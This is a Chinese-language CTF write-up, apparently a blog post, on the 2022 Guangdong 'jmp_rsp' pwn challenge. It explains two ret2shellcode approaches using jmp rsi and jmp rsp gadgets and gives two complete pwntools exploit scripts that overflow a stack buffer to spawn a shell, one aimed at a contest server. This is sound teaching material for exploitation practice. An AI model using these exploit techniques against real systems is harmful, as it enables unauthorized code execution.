【PWN · ret2shellcode | jmp rsp | jmp rsi】[广东省大学生攻防大赛 2022]jmp_rsp

这是一道非常简单的ret2shellcode,然而可以学到一些些小小的技巧。

目录

前言

一、题目概述

二、解题思路1

三、EXP1

四、解题思路2 

五、EXP2 

总结 


前言

ret2shellcode,一般是往某个wx属性的地方写上shellcode,再尝试进行控制流劫持,跳转到shellcode处。


一、题目概述

二、解题思路1

题目叫jmp rsp,是一个提示,但也可以是一种小误导。怎么说呢?

如果我们把shellcode写到buf,如何控制执行流到shellcode,是个难点。

程序是静态链接,有着丰富的gadget:

看到了jmp rsp。如果我们能让rsp指向shellcode处,执行跳转,就可以实现目的。然而如何让rsp-0x90,我并没有找到这样的gadget。

因此我开始关注其他寄存器的值——rsi在main函数ret时,指向了我们的buf——亦即shellcode!

于是非常简单。。。jmp rsi即可。 感觉略有些非预期。。

三、EXP1

from pwn import *

context(arch='amd64',log_level='debug')

# 0x000000000046d01d : jmp rsp
# 0x0000000000459a37 : jmp rsi

jmp_rsp=0x000000000046d01d
jmp_rsi=0x0000000000459a37
shellcode=asm(shellcraft.sh())

io=process('./pwn')
io=remote('node4.anna.nssctf.cn',28254)
# gdb.attach(io);input()
payload=shellcode.ljust(0x88,b'\x00')+p64(jmp_rsi)
# payload=b'the_buf_addr'
io.send(payload)
io.interactive()

四、解题思路2 

然而,当我翻阅大佬的wp时,发现jmp rsp确实也可以做。而这是因为我们可以不急于将控制流控制到shellcode处,而是更为灵活的,先将执行流劫持到可控制的栈上,而栈上的内容可由我们写,因此可以做很多事情。

试想,如果栈上这样布局:

------------------------------------------------------------------------------------
|          buf         |   rbp   |        ret        |            ... ...          |
------------------------------------------------------------------------------------
| shellcode    +       padding   |   gadget(jmp rsp) | asm(sub rsp, 0x90;jmp rsp)  |
------------------------------------------------------------------------------------

那么可以预料到的是:

1. 当ret的时候,rip被赋值,指向了当前的rsp所指向的值,即jmp rsp的gadget;同时rsp自减一个字。

2. 当程序继续执行,jmp rsp时,执行流被劫持到栈上,具体地址为ret的后一个字

3. 继续执行我们布置好的指令:rsp自减,指向buf开头,即shellcode开头。rip自动后移,指向jmp rsp

4. 继续执行,控制流jmp到rsp所指,buf的开头区域,顺利执行shellcode。

五、EXP2 

from pwn import *

context(arch='amd64',log_level='debug')

# 0x000000000046d01d : jmp rsp
# 0x0000000000459a37 : jmp rsi

jmp_rsp=0x000000000046d01d
jmp_rsi=0x0000000000459a37
shellcode=asm(shellcraft.sh())

io=process('./pwn')
# io=remote('node4.anna.nssctf.cn',28254)
# gdb.attach(io);input()
# payload=shellcode.ljust(0x88,b'\x00')+p64(jmp_rsi)
payload=shellcode.ljust(0x88,b'\x00')+p64(jmp_rsp)+asm('sub rsp,0x90;jmp rsp')
# payload=b'the_buf_addr'
io.send(payload)
io.interactive()


总结

题目并不难,没有套多少壳子,一眼漏洞。

然而利用技巧可以总结和掌握:

  1. 关注寄存器残留的值
  2. 利用rsp和栈可写可执行,能够做很多事情
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值